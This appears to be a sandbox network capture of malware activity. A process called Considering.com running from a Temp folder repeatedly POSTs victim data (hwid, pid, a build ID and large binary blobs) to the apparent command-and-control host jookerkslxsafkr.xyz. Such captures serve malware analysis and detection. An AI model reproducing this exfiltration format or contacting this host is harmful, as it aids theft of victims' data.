2025-02-16 13:31:58 UTC	1369	IN	Data Raw: 54 53 57 72 68 63 48 77 78 31 37 68 47 70 59 4b 6f 57 73 6d 33 34 51 76 4a 57 34 6f 33 4f 42 72 4f 47 48 38 53 56 44 4c 78 6a 46 2f 73 58 76 33 70 68 63 7a 76 63 45 37 46 2b 75 67 2b 64 48 73 70 50 2b 31 6e 7a 69 38 68 4a 76 59 68 51 67 6f 31 74 72 6d 55 58 77 45 69 2f 4f 6e 46 35 49 4c 78 44 36 43 44 76 42 73 4a 4b 72 56 65 38 41 4c 66 56 6e 31 53 39 6e 6c 44 44 7a 69 66 75 4c 56 54 53 57 72 68 63 48 77 78 31 37 68 47 70 59 4b 6f 57 77 33 33 62 59 4d 4a 6d 38 4a 6a 52 53 50 72 51 41 63 53 44 64 66 4e 72 44 2f 30 5a 74 79 49 65 5a 54 76 78 55 4f 63 77 69 42 71 43 58 65 70 58 37 52 58 43 6c 64 68 48 36 39 59 48 69 34 49 62 79 67 6f 58 69 68 6e 35 49 6e 6c 35 4e 61 6b 55 72 6a 44 6c 53 64 34 49 75 42 4b 72 43 4c 65 45 6b 56 2b 39 30 46 44 63 6e 33 75 38 4f Data Ascii: TSWrhcHwx17hGpYKoWsm34QvJW4o3OBrOGH8SVDLxjF/sXv3phczvcE7F+ug+dHspP+1nzi8hJvYhQgo1trmUXwEi/OnF5ILxD6CDvBsJKrVe8ALfVn1S9nlDDzifuLVTSWrhcHwx17hGpYKoWw33bYMJm8JjRSPrQAcSDdfNrD/0ZtyIeZTvxUOcwiBqCXepX7RXCldhH69YHi4IbygoXihn5Inl5NakUrjDlSd4IuBKrCLeEkV+90FDcn3u8O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	188.114.97.3	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:31:59 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NM6YKKYKOOOXXDTJA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18166 Host: jookerkslxsafkr.xyz
2025-02-16 13:31:59 UTC	15331	OUT	Data Raw: 2d 2d 4e 4d 36 59 4b 4b 59 4b 4f 4f 4f 58 58 44 54 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 44 41 39 45 30 44 39 36 36 45 34 41 35 43 32 46 38 34 41 31 38 34 46 33 38 37 46 39 41 33 0d 0a 2d 2d 4e 4d 36 59 4b 4b 59 4b 4f 4f 4f 58 58 44 54 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 4d 36 59 4b 4b 59 4b 4f 4f 4f 58 58 44 54 4a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 32 57 43 38 67 42 2d 2d 6d 65 67 61 6c 75 74 7a Data Ascii: --NM6YKKYKOOOXXDTJAContent-Disposition: form-data; name="hwid"78DA9E0D966E4A5C2F84A184F387F9A3--NM6YKKYKOOOXXDTJAContent-Disposition: form-data; name="pid"2--NM6YKKYKOOOXXDTJAContent-Disposition: form-data; name="lid"2WC8gB--megalutz
2025-02-16 13:31:59 UTC	2835	OUT	Data Raw: cc 78 a8 6a 87 a7 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b Data Ascii: xjf5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{
2025-02-16 13:32:00 UTC	1035	IN	HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 13:32:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=i4752nt4h65449d2h142m6uog8; expires=Mon, 17 Feb 2025 13:31:59 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OWx3HqFC8k6YHqen7Uq3RGyiP7c0y7pQVBgNx3lcyXR0ezJ7H%2FWHM9UYX7eB2NrmruYjVueaHAJ0kYGdBqHNEfg%2FkavlNlxmqbaLRDJ9nTHbSPatS2W9i2KyRs7r53aJnlvec1Ca"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 912de6b1a8a543a1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2066&min_rtt=2062&rtt_var=782&sent=9&recv=22&lost=0&retrans=0&sent_bytes=2847&recv_bytes=19130&delivery_rate=1391801&cwnd=233&unsent_bytes=0&cid=c9e599830108a510&ts=886&x=0"
2025-02-16 13:32:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-16 13:32:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	188.114.97.3	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:32:00 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WIFM169BJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8739 Host: jookerkslxsafkr.xyz
2025-02-16 13:32:00 UTC	8739	OUT	Data Raw: 2d 2d 57 49 46 4d 31 36 39 42 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 44 41 39 45 30 44 39 36 36 45 34 41 35 43 32 46 38 34 41 31 38 34 46 33 38 37 46 39 41 33 0d 0a 2d 2d 57 49 46 4d 31 36 39 42 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 49 46 4d 31 36 39 42 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 32 57 43 38 67 42 2d 2d 6d 65 67 61 6c 75 74 7a 61 6c 75 74 0d 0a 2d 2d 57 49 46 4d 31 36 39 42 4a 0d 0a 43 6f 6e 74 65 Data Ascii: --WIFM169BJContent-Disposition: form-data; name="hwid"78DA9E0D966E4A5C2F84A184F387F9A3--WIFM169BJContent-Disposition: form-data; name="pid"2--WIFM169BJContent-Disposition: form-data; name="lid"2WC8gB--megalutzalut--WIFM169BJConte
2025-02-16 13:32:01 UTC	1036	IN	HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 13:32:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=g2n51rd6529e5blqdmqdkgp8d6; expires=Mon, 17 Feb 2025 13:32:01 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vNDfBcU%2F52edF1h6MxwD5Vwrud530Miw7hQnZkEJ30lKe%2BNdzcbDQ4eYSSLz%2FBqEjXMe5JocC7NpvO6Cu9cpnBKORIp995qKiwvqLBQjbe3FMWfw5jKxfgtjU8a9d2WofikmeAZf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 912de6ba29fe0f7f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1519&min_rtt=1453&rtt_var=678&sent=7&recv=15&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9672&delivery_rate=1468812&cwnd=246&unsent_bytes=0&cid=cb5c55a73868f3d7&ts=770&x=0"
2025-02-16 13:32:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-16 13:32:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	188.114.97.3	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:32:02 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OVBD3ON2F6LOG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20416 Host: jookerkslxsafkr.xyz
2025-02-16 13:32:02 UTC	15331	OUT	Data Raw: 2d 2d 4f 56 42 44 33 4f 4e 32 46 36 4c 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 44 41 39 45 30 44 39 36 36 45 34 41 35 43 32 46 38 34 41 31 38 34 46 33 38 37 46 39 41 33 0d 0a 2d 2d 4f 56 42 44 33 4f 4e 32 46 36 4c 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4f 56 42 44 33 4f 4e 32 46 36 4c 4f 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 32 57 43 38 67 42 2d 2d 6d 65 67 61 6c 75 74 7a 61 6c 75 74 0d 0a 2d 2d 4f 56 42 44 Data Ascii: --OVBD3ON2F6LOGContent-Disposition: form-data; name="hwid"78DA9E0D966E4A5C2F84A184F387F9A3--OVBD3ON2F6LOGContent-Disposition: form-data; name="pid"3--OVBD3ON2F6LOGContent-Disposition: form-data; name="lid"2WC8gB--megalutzalut--OVBD
2025-02-16 13:32:02 UTC	5085	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2025-02-16 13:32:02 UTC	1042	IN	HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 13:32:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=2mci6fml7jeufrtne9rujpg5cc; expires=Mon, 17 Feb 2025 13:32:02 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aAKYKQdEV7hRasG2HiDqlwB3WNUCHAZkDfNqzTIwwE02agsAoB1edMINYw9m%2FW7qG%2FP8Bsaj%2FqCLi2%2BzRTmPs82HLM5uYIOLc8hMm6rm824wDKT8JC09yeIJMPVJa%2FYpdCChzMxz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 912de6c25bb00fa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1590&min_rtt=1580&rtt_var=612&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21376&delivery_rate=1757977&cwnd=228&unsent_bytes=0&cid=4b2d69f1f1a9cbb8&ts=734&x=0"
2025-02-16 13:32:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-16 13:32:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	188.114.97.3	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:32:03 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=3H67EDAT User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 2327 Host: jookerkslxsafkr.xyz
2025-02-16 13:32:03 UTC	2327	OUT	Data Raw: 2d 2d 33 48 36 37 45 44 41 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 44 41 39 45 30 44 39 36 36 45 34 41 35 43 32 46 38 34 41 31 38 34 46 33 38 37 46 39 41 33 0d 0a 2d 2d 33 48 36 37 45 44 41 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 33 48 36 37 45 44 41 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 32 57 43 38 67 42 2d 2d 6d 65 67 61 6c 75 74 7a 61 6c 75 74 0d 0a 2d 2d 33 48 36 37 45 44 41 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 Data Ascii: --3H67EDATContent-Disposition: form-data; name="hwid"78DA9E0D966E4A5C2F84A184F387F9A3--3H67EDATContent-Disposition: form-data; name="pid"1--3H67EDATContent-Disposition: form-data; name="lid"2WC8gB--megalutzalut--3H67EDATContent-D
2025-02-16 13:32:04 UTC	1037	IN	HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 13:32:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=oavehbidslg8utko9ah5qclt14; expires=Mon, 17 Feb 2025 13:32:03 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R7cO2rBDMt%2FwvueH84ui2vzWH5Kg3m7WdZ4lqo8407c%2FD6T%2FroWGKXruSpMCBMLdj7RmPA3W3NC1a6W4UEzyOqIInfMnJei14bSf2R9GemDEgBtxy9XQtMt%2BKPUFFjLGpZbihJzQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 912de6ca8c7e42af-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1773&min_rtt=1770&rtt_var=670&sent=5&recv=9&lost=0&retrans=0&sent_bytes=2846&recv_bytes=3237&delivery_rate=1626740&cwnd=175&unsent_bytes=0&cid=ab5cb2e1b985210e&ts=513&x=0"
2025-02-16 13:32:04 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-02-16 13:32:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	188.114.97.3	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:32:04 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=52ABAHOI8UG4RDCGBW8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 574578 Host: jookerkslxsafkr.xyz
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: 2d 2d 35 32 41 42 41 48 4f 49 38 55 47 34 52 44 43 47 42 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 38 44 41 39 45 30 44 39 36 36 45 34 41 35 43 32 46 38 34 41 31 38 34 46 33 38 37 46 39 41 33 0d 0a 2d 2d 35 32 41 42 41 48 4f 49 38 55 47 34 52 44 43 47 42 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 32 41 42 41 48 4f 49 38 55 47 34 52 44 43 47 42 57 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 32 57 43 38 67 42 2d 2d 6d 65 Data Ascii: --52ABAHOI8UG4RDCGBW8Content-Disposition: form-data; name="hwid"78DA9E0D966E4A5C2F84A184F387F9A3--52ABAHOI8UG4RDCGBW8Content-Disposition: form-data; name="pid"1--52ABAHOI8UG4RDCGBW8Content-Disposition: form-data; name="lid"2WC8gB--me
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: be 8b 02 c2 a0 c1 a4 9b 5f d7 f7 d8 a7 f7 42 3b a7 13 95 c4 cb 81 f9 00 dd 1d 09 0b a2 fd 9c 85 51 8c af b3 8f c7 9f 86 1f 2a ea 79 d9 e5 fb ab af d8 7d a6 23 be 02 03 52 cc 09 80 6f 83 67 31 0f bf b1 f3 28 df 6c c4 e1 6f b0 38 e3 f2 ff 19 01 e4 21 15 78 e4 b7 21 b8 1f c4 19 52 73 fd 00 33 97 0f 9c 86 03 22 43 70 dc a3 b2 b5 0e 7e 33 fb 31 1b 8a 21 2b c5 bc 28 5f fa ec 5a ca ef bc a9 96 11 08 da cb b7 e7 ac f5 81 d6 b6 4b de cf e3 bc 9e 57 8b 78 7a e0 08 6d e2 cd d1 1a 0d 5c 8e 7b 4d b2 5a fe e5 1f f8 81 30 49 74 eb 7d 0a 73 91 3d f3 e5 af 6d ed 58 4a 79 9c 82 79 de 37 dc 19 cd f4 46 1f 65 d0 f9 84 1e f8 5e b9 56 49 24 8c 6d e6 bc bb 34 68 d5 b4 93 df 83 a6 9c 0c 31 49 59 be da be f8 b7 18 8e 48 50 bd 89 58 98 90 b8 ad 19 3d 6a 2a 97 d5 1f 86 c8 9b 5c be Data Ascii: _B;Qy}#Rog1(lo8!x!Rs3"Cp~31!+(_ZKWxzm\{MZ0It}s=mXJyy7Fe^VI$m4h1IYHPX=j\
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: e1 f9 21 61 30 b4 62 bf ad 45 00 e4 f5 e0 f9 6f 8f 07 fb 34 ef bc bd bb 5b f6 d0 b2 94 92 5b dd 55 55 ee 1e fd ac 78 5c 46 d3 65 d3 f8 a3 36 36 f0 72 61 77 70 12 3e d8 4b b4 dc e1 2b bd fe ab ff f5 b7 36 55 ee 11 35 35 85 92 60 a8 38 c4 14 62 cc e6 e2 c1 b6 1d ff 6a b1 d4 ba 08 c4 20 fd 77 e4 fa fc 4b 90 34 f3 df 21 d6 b9 d9 1a de 80 46 42 02 88 53 e4 ff 6b d0 b4 54 7f 9f a8 09 44 c0 61 0c ef e4 9e dd 7d 40 7a 3f 4d 15 81 e3 eb d7 f7 c9 36 ca 24 43 d5 ab 3b eb fa e5 2a a5 c0 62 e3 0d c8 57 f4 59 fa 71 35 d1 f6 8f e8 2b d9 f7 79 7b fe 02 8a 60 5c 3d e1 e7 f1 3f 6d 05 91 75 c8 81 16 6f fd 41 90 82 cb 8c f1 e9 51 88 16 8e 0e 80 8f 2d a8 14 71 e4 d7 75 35 3c 71 57 0d 98 84 dd 84 07 9c 20 22 f8 30 15 f1 9a 54 a0 e5 91 bb b7 41 67 4b fe 14 a9 78 be 76 0d 5f 6a Data Ascii: !a0bEo4[[UUx\Fe66rawp>K+6U55`8bj wK4!FBSkTDa}@z?M6$C;*bWYq5+y{`\=?muoAQ-qu5<qW "0TAgKxv_j
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: 58 f1 e7 e7 85 95 85 95 ea d6 d5 85 af 8c b5 da d6 f4 66 42 1e a7 27 98 a8 7d dc b1 ef be 45 bf 44 33 41 20 7a f7 7f 3e 78 2f cb fe 5c d9 fe b1 b2 e2 65 4d 26 12 87 08 b7 d0 b7 8f 93 6f e4 a6 01 ba 1a 91 4a 43 93 f9 51 bc 4a c0 03 8b 5d 3f a6 61 a9 82 77 ca 31 c1 82 a7 50 38 e2 00 d7 f0 e0 20 ce a3 44 e5 c5 2c fb a1 c9 47 1e d8 79 f2 ed 9b d7 7f e8 ba 59 ce 0f a1 47 3a 2f ce 01 e2 15 88 a8 30 94 8f 02 ae 6d 05 4f 9e c0 a5 a0 5e ff bf 53 6b 6d 2e 58 ab b7 ef d7 1b b4 ed c2 f5 eb b1 c8 3b b3 d5 be bc 66 c5 a7 dc aa bd 30 5e bc 2b f2 0b c5 59 a2 7e 96 5e 0d 01 89 38 c8 6d 72 ef ba 15 4f 80 3c 70 fe 3e 47 8a a8 c1 0d c5 95 a2 76 e5 ed d2 c3 7e 97 10 78 8d a6 77 0a 90 75 59 ea 2b 42 16 b5 a4 54 51 9c 08 78 23 aa 6e 09 32 1b 42 5c 01 61 a8 60 6e 58 4e 6c a4 5a Data Ascii: XfB'}ED3A z>x/\eM&oJCQJ]?aw1P8 D,GyYG:/0mO^Skm.X;f0^+Y~^8mrO<p>Gv~xwuY+BTQx#n2B\a`nXNlZ
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: c7 c2 6d 89 71 5c ce 11 eb 7b e0 99 ad e7 62 98 de db 08 4f 2f 85 ba f3 4f be b0 26 e9 72 70 2c b0 08 b8 13 e9 25 1a 9a dc a4 cc 64 c4 34 b2 4a 1e b8 cc 97 5f 7a 20 c1 29 04 f5 8f 60 22 be 79 44 08 65 5c c1 01 1c 02 cf 5e 09 cc ea 73 2b 02 81 d0 46 68 21 c3 1f 06 f5 43 23 23 03 e1 30 bf 75 8d 5e 7e 86 45 53 63 20 dd 9c f6 fb 04 d9 f4 e8 f1 f0 8c 08 ed 0a ae 8a 37 42 61 f5 ad 92 35 d9 2a e0 cc a4 3c 44 74 e3 5b 1e 40 e2 11 81 d2 b7 7c 4d fc 35 0c db 22 35 d7 2a 7d 6e 92 26 9a 0f 48 0a 4f 38 19 eb 73 a7 30 67 26 2f ee 5f cf 1d 52 c7 0c 07 3e 1a 1c 0e 3e b6 a0 dc 5d c4 68 d5 16 b3 d3 96 6a 5e 08 66 5c 3b 4e 16 5b 7f ad 69 3b 2c df ba 28 69 5f 1f a6 21 da 56 ce 09 e3 a6 08 0a 8c 04 61 40 30 06 c6 d8 06 fd bb 04 e8 23 0b 46 62 c0 36 9a 56 75 ae d8 29 06 13 8e Data Ascii: mq\{bO/O&rp,%d4J_z )`"yDe\^s+Fh!C##0u^~ESc 7Ba5<Dt[@\|M5"5}n&HO8s0g&/_R>>]hj^f\;N[i;,(i_!Va@0#Fb6Vu)
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: 91 06 63 47 5c 43 69 3f c1 4b f0 90 17 b7 d7 c4 31 55 fa 31 0b c1 b5 ff b6 2d 76 05 54 72 6d d6 a3 5e 5a 04 4a 8e c5 5d 06 57 47 13 51 ad a4 8b a7 27 b3 34 f0 d0 5c cc b8 75 6e 5d 04 cf 25 2c 85 ad 75 81 6e 0e 21 e1 19 c9 8f af c4 fb 22 a9 06 08 ac 91 8a 5f b7 0c 99 5f 5d d6 2d 18 43 4a 20 42 b5 9f 4f 80 18 ee e9 82 4c d2 79 18 f9 7c 17 0e 76 79 54 0f 98 a9 f8 c8 f2 76 93 83 a4 73 80 fd 7e b6 38 6b 09 a4 b6 51 2a d6 02 67 c1 69 30 e5 ae 28 06 34 af 98 52 77 c0 c6 a0 56 66 e5 c0 03 e5 bb 9b 03 ba 18 22 aa 42 4d c6 3d af 17 61 b2 29 63 ac 5b 65 67 81 fc 1f 14 30 27 6d 5a d3 46 0a da 77 1d e1 41 9b 83 12 2a 21 da 84 a1 39 0e 18 c6 c3 2d 48 60 f9 08 ee 12 05 bb cb 96 85 e9 ed c6 bd e2 a0 6c f3 f6 de 00 14 d0 60 3f d1 44 54 16 6a 15 11 a2 e7 74 4a 32 a0 be 83 Data Ascii: cG\Ci?K1U1-vTrm^ZJ]WGQ'4\un]%,un!"__]-CJ BOLy\|vyTvs~8kQgi0(4RwVf"BM=a)c[eg0'mZFwA!9-H`l`?DTjtJ2
